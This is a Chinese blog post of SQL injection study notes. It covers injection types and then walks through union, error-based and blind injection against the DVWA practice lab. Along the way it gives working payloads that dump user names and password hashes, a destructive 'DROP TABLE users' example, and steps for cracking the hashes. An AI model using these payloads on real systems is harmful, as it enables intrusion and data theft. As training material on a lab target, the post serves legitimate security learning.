当前位置: 首页 > news >正文

0527漏洞原理:SQL注入笔记 SQL注入类型(联合查询注入、报错注入实操)

理论知识

1. 按数据类型划分

(1) 数字型注入

  • 特点:参数为数字,无需引号闭合。
  • 判断方法
    • 输入 id=1',若报错则可能是字符型,否则可能是数字型。

(2) 字符型注入

  • 特点:参数为字符串,需闭合引号(单引号 ' 或双引号 ")。
  • 示例
    1. http://example.com/login.php?username=admin
  • 攻击方式
    1. http://example.com/login.php?username=admin' AND '1'='1
  • 判断方法
    • 输入 username=admin',若报错则存在字符型注入。
    • 进一步测试闭合方式:admin' AND '1'='1(单引号闭合)、admin" AND "1"="1(双引号闭合)。

2. 按执行效果划分

(1) 联合查询注入(Union-Based)

  • 适用场景:页面有回显,且支持 UNION 查询。
  • 攻击步骤
    1. 判断列数ORDER BY 4(直到报错)。
    2. 找显示位UNION SELECT 1,2,3,4(查看哪些数字显示在页面上)。
    3. 爆数据
      1. UNION SELECT 1,database(),3,4
    4. 获取表名、列名、数据
      1. UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()

(2) 报错注入(Error-Based)

  • 适用场景:页面返回数据库错误信息(如MySQL错误)。
  • 常用函数
    • updatexml()
    • extractvalue()
    • floor(rand()*2)(利用主键冲突报错)

  • 示例
    1. AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
  • 攻击步骤
    1. 利用报错函数获取数据库名、表名、列名。
    2. 逐步提取数据。

 (3) 布尔盲注(Boolean-Based)

  • 适用场景:页面无回显,但能通过 True/False 状态(如登录成功/失败)判断。
  • 攻击方式
    1. AND substr(database(),1,1)='a' --+
  • 步骤
    1. 猜解数据库名长度:AND length(database())=8
    2. 逐字符猜解:AND substr(database(),1,1)='a'
    3. 依次获取表名、列名、数据。

(4) 时间盲注(Time-Based)

  • 适用场景:页面无任何回显,只能通过延时判断。

  • 攻击方式
    1. AND IF(1=1,SLEEP(5),0) --+

  • 步骤
    1. 判断注入点:AND IF(1=1,SLEEP(5),0)(若延迟5秒则存在注入)。
    2. 逐字符猜解:AND IF(substr(database(),1,1)='a',SLEEP(5),0)

(5) 堆叠查询(Stacked Queries)

  • 适用场景:数据库支持多语句执行(如MySQL的 mysqli_multi_query)。
  • 攻击方式
    1. ; DROP TABLE users; --
  • 危害:可执行任意SQL语句,如增删改查、读写文件等。

    3. 按数据提交方式划分

    (1) GET注入

    • 特点:参数通过URL传递(?id=1)。
    • 示例
      1. http://example.com/news.php?id=1 AND 1=1 --+

    (2) POST注入

    • 特点:参数通过表单提交(如登录框)。
    • 示例
      1. username=admin'-- &password=123456

    (3) HTTP头注入

    • 特点:注入点在HTTP头部(如 User-AgentCookieReferer)。
    • 示例
      1. User-Agent: Mozilla/5.0' OR 1=1 --+

    4. 特殊类型

    (1) 宽字节注入

    • 适用场景:数据库使用GBK等宽字符编码,可绕过转义(如 %df' 吃掉转义符 \)。
    • 示例
      1. %df%27 → 单引号(')被转义为 `\'`,但 `%df` 会吃掉 `\`,使 `'` 逃逸。

    (2) 二次注入

    • 特点:恶意数据先存入数据库,后续查询时触发SQL注入。
    • 示例
      1. 注册用户名为 admin'--
      2. 修改密码时触发:
        1. UPDATE users SET password='123' WHERE username='admin'--'

    相关操作

    联合查询注入

    进入 DVWA 页面后,点击 “Create/Reset Database” 按钮,创建数据库。

    在登录页面输入默认的用户名 “admin” 和密码 “password”。

    点击 “Login” 按钮,即可登录到 DVWA 系统。

    添加’报错

    存在SQL注入漏洞

    再添加’

    说明是字符型

    添加注释--+

    正常返回

    字符没有括号的闭合

    GET /vulnerabilities/sqli/?id=1''--+&Submit=Submit HTTP/1.1

    ?id=1'+order+by+1--+&Submit=Submit 
    id=-1'+union+select+1,2--+&Submit
    ?id=-1'+union+select+database(),2--+

    ?id=-1'+union+select+database(),

    group_concat(table_name)

    +from+information_schema.tables+

    where+table_schema='dvwa'--+

    -1'+union+select+database(),group_

    concat(column_name)+from+information_

    schema.columns+where+table_schema=

    'dvwa'+and+table_name='users'--+

    -1'+union+select+database(),

    group_concat(user,":",password)

    +from+users--+&Submit=Submit 

    Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

    md5解密得到密码

    后续利用之前学到的《信息收集》找到它的后台,用获取到的账号密码登录0526漏洞原理:漏洞验证-信息收集笔记(BurpSuite Professional,fofa,BUUCTF)-CSDN博客

     报错注入

    添加单引号

    出现详细的报错语法

    需要火狐浏览器扩展
    Load UPL

    id=1'--+%27&Submit

    =Submit#

    同样的,说明没有括号

    id=1'and updatexml

    (1,concat(1,(select database())),1)--+

    以报错的形式返回查询结果

    id=1'and updatexml(1,

    concat(1,(select table_name

    from information_schema.t

    ables where table_schema='dvwa')),1)-

    -+%2

    查询结果超过一行

    id=1'and updatexml

    (1,concat(1,(select group_concat(table_name)

    from 

    id=1'and updatexml(1,concat(1,

    (select group_concat(column_

    name)

    from information_schema.columns

    where table_schema='dvwa' and table_name='users')),1)--+%27&Submit=Submit#

    报错函数最多只能输出32个字符

    id=1'and updatexml(1,concat

    (1,(select column_name from information_schema.

    columns where table_

    schema='dvwa' and table_

    name='users' limit 1,1)),1)--+&Submit=Submit#

    试比较麻烦,使用Intruder

    id=1'and updatexml(1,concat(

    1,(select user from users limit

    1,1)),1)--+&Submit=Submit#

    (1,concat(1,(select%20password%20from%

    20users%20limit%20§1§,1)),1

    md5解密密码

    布尔盲注

    带入单引号不存,存在SQL注入
    1‘’%两个单引号,说明是字符型
    id=1‘--+%说明没有括号

    sqli_blind/?id=1’ and

    substr((select database

    ()),1,1)='b'--+%E2%80%98%E2%80%

    99&Submit=Submit#

    爆破库名

    sqli_blind/?id=1' and substr((select

    database()),1,1)='d'--+&Submit=Submit#

    得到dvwa

    1%27%20and%20substr((

    select%20group_concat(table_name)%

    20from%20information_schema.tables%

    20where%20table_schema=%27dvwa%

    27),1,1)=%27d%27--+&

    id=1%27%20and%20su

    bstr((s

    elect%20group_concat(

    column

    _name)%20from%20infor

    mation_

    schema.columns%20where

    %20tab

    le_schema=%27dvwa%27+a

    nd+tab

    le_name='users'),§1§,1

    )=%27§d§%27--+

    id=1%27%20and%20substr((select

    %20passwoed%20from%20users+limit

    +0,1),§1§,1)=%27§b§%27--+&Submit=Submit HTTP/1.1

    http://www.xdnf.cn/news/677395.html

    相关文章:

  • 【本地部署】 Deepseek+Dify创建工作流
  • 【Vue 3 运行时 Diff 算法深度解析:五步走策略实现高效更新】
  • MySQL数据库第一章
  • 科技趋势分析系统 BBC (Big Bang of Computing)
  • mysql中的索引怎么用?
  • [特殊字符]《计算机组成原理》第 8 章 - CPU 的结构和功能
  • 本地部署 DeepSeek
  • 计算机组成原理——指令的寻址方式
  • 迪米特法则 (Law of Demeter, LoD)
  • 多个vue2工程共享node_modules
  • Liunx部署ES单机集群
  • Streamlit 项目知识点总结
  • OpenCv高阶(十三)——人脸检测
  • 第二章:软盘里的90年代
  • 力扣四道题,力扣LCR 016无重复字符的最长子串力扣452.用最小数量的箭引爆气球LCR026.重排链表力扣.1765地图中的最高点
  • 猿大师办公助手WebOffice用二进制数据流在Web前端打开Office文档
  • 如何使用 Redis 实现排行榜功能
  • 中车靶场,网络安全暑期实训营
  • [特殊字符]使用 Hyperlane 实现 WebSocket广播
  • MySql(四)
  • python-自定义导包问题ModuleNotFoundError: No module named
  • Linux 文件管理相关知识与命令
  • Linux升级内核回退到旧内核启动
  • Linux 进阶命令篇
  • 广东省省考备考(第二十二天5.27)—言语(第九节课)
  • Python正则表达式:30秒精通文本处理
  • 【判断含有相同数字rfind】2022-1-28
  • 高频面试--redis
  • [yolov11改进系列]基于yolov11引入分布移位卷积DSConv的python源码+训练源码
  • AI智能体策略FunctionCalling和ReAct有什么区别?